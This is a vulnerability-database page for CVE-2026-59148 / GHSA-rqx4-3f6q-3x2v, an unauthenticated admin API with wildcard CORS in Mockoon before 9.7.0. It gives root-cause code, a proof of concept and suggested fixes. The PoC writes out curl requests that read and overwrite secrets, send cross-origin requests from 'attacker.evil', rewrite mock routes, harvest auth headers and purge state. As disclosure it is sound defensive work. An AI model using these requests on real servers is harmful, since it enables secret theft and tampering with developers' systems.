Vulnerability-Lookup

GHSA-RQX4-3F6Q-3X2V

Vulnerability from github – Published: 2026-09-11 22:04 – Updated: 2026-09-11 22:04

Summary

@Mockoon/commons-server: Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft

Details

Summary

Mockoon's admin API (commons-server/src/libs/server/admin-api.ts) is mounted on the same Express listener as the user-defined mock routes, enabled by default in every shipped runtime (commons-server, CLI, serverless), serves Access-Control-Allow-Origin: * on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and Content-Type in Access-Control-Allow-Headers, and has zero authentication of any kind (no token, no shared secret, no MOCKOON_ADMIN_TOKEN env var — searched the repo, returns zero hits).

Any unauthenticated caller who can reach the mock server's port (default 0.0.0.0:3000) can:

Read every MOCKOON_* env var used by the operator as secret material in templates (getEnvVar helper).
Write arbitrary process env vars (no prefix check on the WRITE path) — poison operator's MOCKOON_API_KEY, MOCKOON_JWT_SECRET, …, or write process-level vars like AWS_SECRET_ACCESS_KEY that the surrounding runtime consumes.
Rewrite every mock route's body / status / headers in-runtime via PUT /mockoon-admin/environment — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including Set-Cookie, Location, Content-Security-Policy, etc.
Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear).
Read/write global template vars; purge state / data buckets / logs.

Because of the wildcard CORS reply, the attack also lands cross-origin from a browser: a developer who runs mockoon-cli start ... locally and visits a malicious website gets their mock state hijacked.

Details

Root cause

packages/commons-server/src/libs/server/server.ts:127:

private options: ServerOptions = {
  ...,
  enableAdminApi: true,        // ← default on
};

packages/cli/src/commands/start.ts:200:

enableAdminApi: !userFlags['disable-admin-api'],   // default true unless --disable-admin-api passed

packages/serverless/src/libs/serverless.ts:21:

enableAdminApi: true,          // ← default on, no flag to disable in the constructor

packages/commons-server/src/libs/server/admin-api.ts:63-74 (permissive CORS on every admin endpoint):

app.use(`${adminApiPrefix}*`, (req, res, next) => {
  res.setHeaders(
    new Headers({
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods':
        'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS',
      'Access-Control-Allow-Headers':
        'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With'
    })
  );
  next();
});

packages/commons-server/src/libs/server/admin-api.ts:151-166 (no auth, no prefix check on WRITE):

const setEnvVarHandler = (req, res) => {
  try {
    const { key, value } = req.body;
    if (key !== undefined && value !== undefined) {
      process.env[key] = value;                            // ← any process env, any value
      res.send({ message: `Environment variable '${key}' has been set to '${value}'` });
    } else {
      throw new Error('Key or value missing from request');
    }
  } catch (_error) {
    res.status(400).send({ message: 'Invalid request' });
  }
};

packages/commons-server/src/libs/server/admin-api.ts:373-393 (the most impactful — runtime mock rewrite):

app.put(`${adminApiPrefix}/environment`, (req, res) => {
  try {
    const environment: Environment = EnvironmentSchema.validate(req.body).value;
    if (!environment) {
      res.status(400).send({ message: 'Invalid environment format' });
      return;
    }
    updateEnvironment(environment);                        // ← runtime mutation of every route response
    res.send({ message: 'Environment updated' });
  } catch (_error) {
    res.status(400).send({ message: 'Invalid environment format' });
  }
});

Default hostname: '' (packages/commons/src/constants/environment-schema.constants.ts:33) → Node binds 0.0.0.0/:: (confirmed via lsof). Migration #16 (packages/commons/src/libs/migrations.ts:343) also forces missing hostnames to '0.0.0.0'.

PoC

Live reproduction (2026-05-11, `@mockoon/cli@9.6.1`)

npm install @mockoon/cli@9.6.1. Minimal env.json with one route GET /users/:id whose response templates {{getEnvVar 'MOCKOON_API_KEY'}}. Start with:

MOCKOON_API_KEY="sk-operator-real-secret-DO_NOT_LEAK_xyz789" \
  mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file

Bind confirmed via lsof:

COMMAND  PID    USER  FD  TYPE  ...  NAME
node    39906  ...   14u  IPv6  ...  TCP *:3100 (LISTEN)    <-- all interfaces

Baseline mock response:

$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}

1) Read operator secret unauth

$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY
HTTP/1.1 200 OK
access-control-allow-origin: *
{"key":"MOCKOON_API_KEY","value":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}

2) Poison operator secret unauth → downstream consumer ingests attacker value

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Content-Type: application/json" \
    -d '{"key":"MOCKOON_API_KEY","value":"sk-POISONED-BY-ATTACKER"}'
{"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-POISONED-BY-ATTACKER'"}

$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"}

3) Write arbitrary non-`MOCKOON_*` env var (no prefix gate)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Content-Type: application/json" \
    -d '{"key":"AWS_SECRET_ACCESS_KEY","value":"overwritten-by-attacker"}'
{"message":"Environment variable 'AWS_SECRET_ACCESS_KEY' has been set to 'overwritten-by-attacker'"}

4) Cross-origin CSRF from `https://attacker.evil`

$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Origin: https://attacker.evil" \
    -H "Access-Control-Request-Method: POST" \
    -H "Access-Control-Request-Headers: Content-Type"
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS
Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Origin: https://attacker.evil" \
    -H "Content-Type: application/json" \
    -d '{"key":"MOCKOON_API_KEY","value":"sk-EXFIL-FROM-attacker.evil"}'
{"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"}

Wildcard Access-Control-Allow-Origin: * + Access-Control-Allow-Methods covering PUT/POST/PATCH + Content-Type in Access-Control-Allow-Headers mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.

5) Rewrite every mock route via unauth `PUT /environment`

$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \
    -H "Origin: https://attacker.evil" \
    -H "Content-Type: application/json" \
    -d '{ ...full env JSON with route response rewritten to body "ATTACKER_PWNED",
          statusCode 418, header X-Pwned: by-attacker.evil... }'
{"message":"Environment updated"}

$ curl -s -i http://127.0.0.1:3100/users/99
HTTP/1.1 418 I'm a Teapot
X-Pwned: by-attacker.evil
Content-Type: application/json
{"id":"99","name":"ATTACKER_PWNED","role":"admin","backdoor":true}

6) Read transaction logs / SSE stream → harvest consumer's auth headers

$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2

Each log entry includes consumer's request.headers (Authorization / Cookie / X-API-Key), request.body, request.urlPath, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. GET /mockoon-admin/events streams the same data live via SSE.

7) Purge state (DoS)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge
{"response":"Server has been reset to its initial state"}

Impact

In typical local-dev mode (CVSS 8.8 High):

Secret read of every MOCKOON_* env var (API keys, JWT signing keys, OAuth client secrets).
Secret write to any process.env key — poison operator's secrets, swap AWS/SDK creds.
Runtime rewrite of every mock route's body / status / headers → downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP).
Auth-token harvesting via transaction logs / SSE stream.
State purge / DoS.

In network-exposed deployment (CVSS 9.4 Critical):

All of the above without user interaction. The serverless wrapper hardcodes enableAdminApi: true; mockoon/cli Docker image inherits the same default and is commonly deployed in shared CI / staging environments.

Suggested fix

Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off MOCKOON_ADMIN_TOKEN env var, compared with crypto.timingSafeEqual.
Stop sending Access-Control-Allow-Origin: * on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with --admin-api-origin.
Bind the admin API to loopback by default, on a separate port or behind a remote-address check.
Add a prefix check on the setEnvVarHandler matching the prepend behavior on the GET handler — reject any key that doesn't start with envVarsPrefix.
Add SECURITY.md with disclosure instructions.
Ship @mockoon/serverless and mockoon/cli Docker image with enableAdminApi: false by default; opt-in via flag.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@mockoon/commons-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@mockoon/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59148"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-352",
      "CWE-732",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-11T22:04:42Z",
    "nvd_published_at": "2026-07-09T19:17:07Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nMockoon\u0027s admin API ([`commons-server/src/libs/server/admin-api.ts`](https://github.com/mockoon/mockoon/blob/4375a8f/packages/commons-server/src/libs/server/admin-api.ts)) is mounted on the same Express listener as the user-defined mock routes, **enabled by default** in every shipped runtime (commons-server, CLI, serverless), serves **`Access-Control-Allow-Origin: *` on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and `Content-Type` in `Access-Control-Allow-Headers`**, and has **zero authentication of any kind** (no token, no shared secret, no `MOCKOON_ADMIN_TOKEN` env var \u2014 searched the repo, returns zero hits).\n\nAny unauthenticated caller who can reach the mock server\u0027s port (default `0.0.0.0:3000`) can:\n\n- Read every `MOCKOON_*` env var used by the operator as secret material in templates (`getEnvVar` helper).\n- **Write arbitrary process env vars (no prefix check on the WRITE path)** \u2014 poison operator\u0027s `MOCKOON_API_KEY`, `MOCKOON_JWT_SECRET`, \u2026, or write process-level vars like `AWS_SECRET_ACCESS_KEY` that the surrounding runtime consumes.\n- **Rewrite every mock route\u0027s body / status / headers in-runtime** via `PUT /mockoon-admin/environment` \u2014 downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including `Set-Cookie`, `Location`, `Content-Security-Policy`, etc.\n- Read transaction logs / SSE stream (consumer\u0027s request bodies + auth headers in clear).\n- Read/write global template vars; purge state / data buckets / logs.\n\nBecause of the wildcard CORS reply, the attack **also lands cross-origin from a browser**: a developer who runs `mockoon-cli start ...` locally and visits a malicious website gets their mock state hijacked.\n\n---\n\n## Details\n\n### Root cause\n\n`packages/commons-server/src/libs/server/server.ts:127`:\n\n```ts\nprivate options: ServerOptions = {\n  ...,\n  enableAdminApi: true,        // \u2190 default on\n};\n```\n\n`packages/cli/src/commands/start.ts:200`:\n\n```ts\nenableAdminApi: !userFlags[\u0027disable-admin-api\u0027],   // default true unless --disable-admin-api passed\n```\n\n`packages/serverless/src/libs/serverless.ts:21`:\n\n```ts\nenableAdminApi: true,          // \u2190 default on, no flag to disable in the constructor\n```\n\n`packages/commons-server/src/libs/server/admin-api.ts:63-74` (permissive CORS on every admin endpoint):\n\n```ts\napp.use(`${adminApiPrefix}*`, (req, res, next) =\u003e {\n  res.setHeaders(\n    new Headers({\n      \u0027Access-Control-Allow-Origin\u0027: \u0027*\u0027,\n      \u0027Access-Control-Allow-Methods\u0027:\n        \u0027GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS\u0027,\n      \u0027Access-Control-Allow-Headers\u0027:\n        \u0027Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With\u0027\n    })\n  );\n  next();\n});\n```\n\n`packages/commons-server/src/libs/server/admin-api.ts:151-166` (no auth, no prefix check on WRITE):\n\n```ts\nconst setEnvVarHandler = (req, res) =\u003e {\n  try {\n    const { key, value } = req.body;\n    if (key !== undefined \u0026\u0026 value !== undefined) {\n      process.env[key] = value;                            // \u2190 any process env, any value\n      res.send({ message: `Environment variable \u0027${key}\u0027 has been set to \u0027${value}\u0027` });\n    } else {\n      throw new Error(\u0027Key or value missing from request\u0027);\n    }\n  } catch (_error) {\n    res.status(400).send({ message: \u0027Invalid request\u0027 });\n  }\n};\n```\n\n`packages/commons-server/src/libs/server/admin-api.ts:373-393` (the most impactful \u2014 runtime mock rewrite):\n\n```ts\napp.put(`${adminApiPrefix}/environment`, (req, res) =\u003e {\n  try {\n    const environment: Environment = EnvironmentSchema.validate(req.body).value;\n    if (!environment) {\n      res.status(400).send({ message: \u0027Invalid environment format\u0027 });\n      return;\n    }\n    updateEnvironment(environment);                        // \u2190 runtime mutation of every route response\n    res.send({ message: \u0027Environment updated\u0027 });\n  } catch (_error) {\n    res.status(400).send({ message: \u0027Invalid environment format\u0027 });\n  }\n});\n```\n\nDefault `hostname: \u0027\u0027` (`packages/commons/src/constants/environment-schema.constants.ts:33`) \u2192 Node binds `0.0.0.0`/`::` (confirmed via `lsof`). Migration #16 (`packages/commons/src/libs/migrations.ts:343`) also forces missing hostnames to `\u00270.0.0.0\u0027`.\n\n---\n\n## PoC\n\n### Live reproduction (2026-05-11, `@mockoon/cli@9.6.1`)\n\n`npm install @mockoon/cli@9.6.1`. Minimal `env.json` with one route `GET /users/:id` whose response templates `{{getEnvVar \u0027MOCKOON_API_KEY\u0027}}`. Start with:\n\n```\nMOCKOON_API_KEY=\"sk-operator-real-secret-DO_NOT_LEAK_xyz789\" \\\n  mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file\n```\n\nBind confirmed via `lsof`:\n\n```\nCOMMAND  PID    USER  FD  TYPE  ...  NAME\nnode    39906  ...   14u  IPv6  ...  TCP *:3100 (LISTEN)    \u003c-- all interfaces\n```\n\nBaseline mock response:\n\n```\n$ curl -s http://127.0.0.1:3100/users/42\n{\"id\":\"42\",\"name\":\"BENIGN_ALICE\",\"role\":\"user\",\"apiKey\":\"sk-operator-real-secret-DO_NOT_LEAK_xyz789\"}\n```\n\n#### 1) Read operator secret unauth\n\n```\n$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY\nHTTP/1.1 200 OK\naccess-control-allow-origin: *\n{\"key\":\"MOCKOON_API_KEY\",\"value\":\"sk-operator-real-secret-DO_NOT_LEAK_xyz789\"}\n```\n\n#### 2) Poison operator secret unauth \u2192 downstream consumer ingests attacker value\n\n```\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"key\":\"MOCKOON_API_KEY\",\"value\":\"sk-POISONED-BY-ATTACKER\"}\u0027\n{\"message\":\"Environment variable \u0027MOCKOON_API_KEY\u0027 has been set to \u0027sk-POISONED-BY-ATTACKER\u0027\"}\n\n$ curl -s http://127.0.0.1:3100/users/42\n{\"id\":\"42\",\"name\":\"BENIGN_ALICE\",\"role\":\"user\",\"apiKey\":\"sk-POISONED-BY-ATTACKER\"}\n```\n\n#### 3) Write arbitrary non-`MOCKOON_*` env var (no prefix gate)\n\n```\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"key\":\"AWS_SECRET_ACCESS_KEY\",\"value\":\"overwritten-by-attacker\"}\u0027\n{\"message\":\"Environment variable \u0027AWS_SECRET_ACCESS_KEY\u0027 has been set to \u0027overwritten-by-attacker\u0027\"}\n```\n\n#### 4) Cross-origin CSRF from `https://attacker.evil`\n\n```\n$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Origin: https://attacker.evil\" \\\n    -H \"Access-Control-Request-Method: POST\" \\\n    -H \"Access-Control-Request-Headers: Content-Type\"\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS\nAccess-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With\n\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Origin: https://attacker.evil\" \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"key\":\"MOCKOON_API_KEY\",\"value\":\"sk-EXFIL-FROM-attacker.evil\"}\u0027\n{\"message\":\"Environment variable \u0027MOCKOON_API_KEY\u0027 has been set to \u0027sk-EXFIL-FROM-attacker.evil\u0027\"}\n```\n\nWildcard `Access-Control-Allow-Origin: *` + `Access-Control-Allow-Methods` covering PUT/POST/PATCH + `Content-Type` in `Access-Control-Allow-Headers` mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.\n\n#### 5) Rewrite every mock route via unauth `PUT /environment`\n\n```\n$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \\\n    -H \"Origin: https://attacker.evil\" \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{ ...full env JSON with route response rewritten to body \"ATTACKER_PWNED\",\n          statusCode 418, header X-Pwned: by-attacker.evil... }\u0027\n{\"message\":\"Environment updated\"}\n\n$ curl -s -i http://127.0.0.1:3100/users/99\nHTTP/1.1 418 I\u0027m a Teapot\nX-Pwned: by-attacker.evil\nContent-Type: application/json\n{\"id\":\"99\",\"name\":\"ATTACKER_PWNED\",\"role\":\"admin\",\"backdoor\":true}\n```\n\n#### 6) Read transaction logs / SSE stream \u2192 harvest consumer\u0027s auth headers\n\n```\n$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2\n```\n\nEach log entry includes consumer\u0027s `request.headers` (Authorization / Cookie / X-API-Key), `request.body`, `request.urlPath`, and the response served back \u2014 continuous info-disclosure of every API call the legitimate consumer makes against the mock. `GET /mockoon-admin/events` streams the same data live via SSE.\n\n#### 7) Purge state (DoS)\n\n```\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge\n{\"response\":\"Server has been reset to its initial state\"}\n```\n\n---\n\n## Impact\n\nIn typical local-dev mode (CVSS 8.8 High):\n\n- Secret read of every `MOCKOON_*` env var (API keys, JWT signing keys, OAuth client secrets).\n- Secret write to any `process.env` key \u2014 poison operator\u0027s secrets, swap AWS/SDK creds.\n- Runtime rewrite of every mock route\u0027s body / status / headers \u2192 downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP).\n- Auth-token harvesting via transaction logs / SSE stream.\n- State purge / DoS.\n\nIn network-exposed deployment (CVSS 9.4 Critical):\n\n- All of the above without user interaction. The serverless wrapper hardcodes `enableAdminApi: true`; `mockoon/cli` Docker image inherits the same default and is commonly deployed in shared CI / staging environments.\n\n---\n\n## Suggested fix\n\n1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off `MOCKOON_ADMIN_TOKEN` env var, compared with `crypto.timingSafeEqual`.\n2. Stop sending `Access-Control-Allow-Origin: *` on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with `--admin-api-origin`.\n3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check.\n4. Add a prefix check on the `setEnvVarHandler` matching the prepend behavior on the GET handler \u2014 reject any `key` that doesn\u0027t start with `envVarsPrefix`.\n5. Add `SECURITY.md` with disclosure instructions.\n6. Ship `@mockoon/serverless` and `mockoon/cli` Docker image with `enableAdminApi: false` by default; opt-in via flag.",
  "id": "GHSA-rqx4-3f6q-3x2v",
  "modified": "2026-09-11T22:04:42Z",
  "published": "2026-09-11T22:04:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/security/advisories/GHSA-rqx4-3f6q-3x2v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59148"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/pull/2254"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/commit/c420b5a56918475b8663977b51e5f986e45b3299"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mockoon/mockoon"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/releases/tag/v9.7.0"
    },
    {
      "type": "WEB",
      "url": "https://mockoon.com/releases/9.7.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@Mockoon/commons-server: Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft"
}

CVE-2026-59148 (GCVE-0-2026-59148)

Vulnerability from cvelistv5 – Published: 2026-07-09 18:27 – Updated: 2026-07-09 19:24

Title

Mockoon: Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft

Summary

Mockoon provides way to design and run mock APIs. Prior to 9.7.0, Mockoon's admin API in commons-server/src/libs/server/admin-api.ts is mounted on the same Express listener as user-defined mock routes, enabled by default in shipped runtimes, serves Access-Control-Allow-Origin: * with write methods allowed, and has no authentication. Any unauthenticated caller who can reach the mock server port can read MOCKOON_* environment variables, write arbitrary process environment variables through /mockoon-admin/env-vars, rewrite mock route bodies, statuses, and headers through PUT /mockoon-admin/environment, read transaction logs and SSE streams, and purge state. This issue is fixed in version 9.7.0.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-09 19:24 UTC

CWE

CWE-306 - Missing Authentication for Critical Function
CWE-352 - Cross-Site Request Forgery (CSRF)
CWE-732 - Incorrect Permission Assignment for Critical Resource
CWE-942 - Permissive Cross-domain Policy with Untrusted Domains

Assigner

GitHub_M mitre root

References

5 references

URL	Tags
https://github.com/mockoon/mockoon/security/advis…	x_refsource_CONFIRM
https://github.com/mockoon/mockoon/pull/2254	x_refsource_MISC
https://github.com/mockoon/mockoon/commit/c420b5a…	x_refsource_MISC
https://github.com/mockoon/mockoon/releases/tag/v9.7.0	x_refsource_MISC
https://mockoon.com/releases/9.7.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
mockoon	mockoon	Affected: < 9.7.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-59148",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-09T19:24:39.649769Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-09T19:24:49.203Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/mockoon/mockoon/security/advisories/GHSA-rqx4-3f6q-3x2v"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "mockoon",
          "vendor": "mockoon",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 9.7.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Mockoon provides way to design and run mock APIs. Prior to 9.7.0, Mockoon\u0027s admin API in commons-server/src/libs/server/admin-api.ts is mounted on the same Express listener as user-defined mock routes, enabled by default in shipped runtimes, serves Access-Control-Allow-Origin: * with write methods allowed, and has no authentication. Any unauthenticated caller who can reach the mock server port can read MOCKOON_* environment variables, write arbitrary process environment variables through /mockoon-admin/env-vars, rewrite mock route bodies, statuses, and headers through PUT /mockoon-admin/environment, read transaction logs and SSE streams, and purge state. This issue is fixed in version 9.7.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306: Missing Authentication for Critical Function",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-352",
              "description": "CWE-352: Cross-Site Request Forgery (CSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-732",
              "description": "CWE-732: Incorrect Permission Assignment for Critical Resource",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-942",
              "description": "CWE-942: Permissive Cross-domain Policy with Untrusted Domains",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-09T18:27:18.579Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/mockoon/mockoon/security/advisories/GHSA-rqx4-3f6q-3x2v",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/mockoon/mockoon/security/advisories/GHSA-rqx4-3f6q-3x2v"
        },
        {
          "name": "https://github.com/mockoon/mockoon/pull/2254",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mockoon/mockoon/pull/2254"
        },
        {
          "name": "https://github.com/mockoon/mockoon/commit/c420b5a56918475b8663977b51e5f986e45b3299",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mockoon/mockoon/commit/c420b5a56918475b8663977b51e5f986e45b3299"
        },
        {
          "name": "https://github.com/mockoon/mockoon/releases/tag/v9.7.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mockoon/mockoon/releases/tag/v9.7.0"
        },
        {
          "name": "https://mockoon.com/releases/9.7.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://mockoon.com/releases/9.7.0"
        }
      ],
      "source": {
        "advisory": "GHSA-rqx4-3f6q-3x2v",
        "discovery": "UNKNOWN"
      },
      "title": "Mockoon: Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-59148",
    "datePublished": "2026-07-09T18:27:18.579Z",
    "dateReserved": "2026-07-02T16:50:27.886Z",
    "dateUpdated": "2026-07-09T19:24:49.203Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-RQX4-3F6Q-3X2V

Summary

Details

Root cause

PoC

Live reproduction (2026-05-11, @mockoon/cli@9.6.1)

1) Read operator secret unauth

2) Poison operator secret unauth → downstream consumer ingests attacker value

3) Write arbitrary non-MOCKOON_* env var (no prefix gate)

4) Cross-origin CSRF from https://attacker.evil

5) Rewrite every mock route via unauth PUT /environment

6) Read transaction logs / SSE stream → harvest consumer's auth headers

7) Purge state (DoS)

Impact

Suggested fix

CVE-2026-59148 (GCVE-0-2026-59148)

Tags

Sightings

Nomenclature

Live reproduction (2026-05-11, `@mockoon/cli@9.6.1`)

3) Write arbitrary non-`MOCKOON_*` env var (no prefix gate)

4) Cross-origin CSRF from `https://attacker.evil`

5) Rewrite every mock route via unauth `PUT /environment`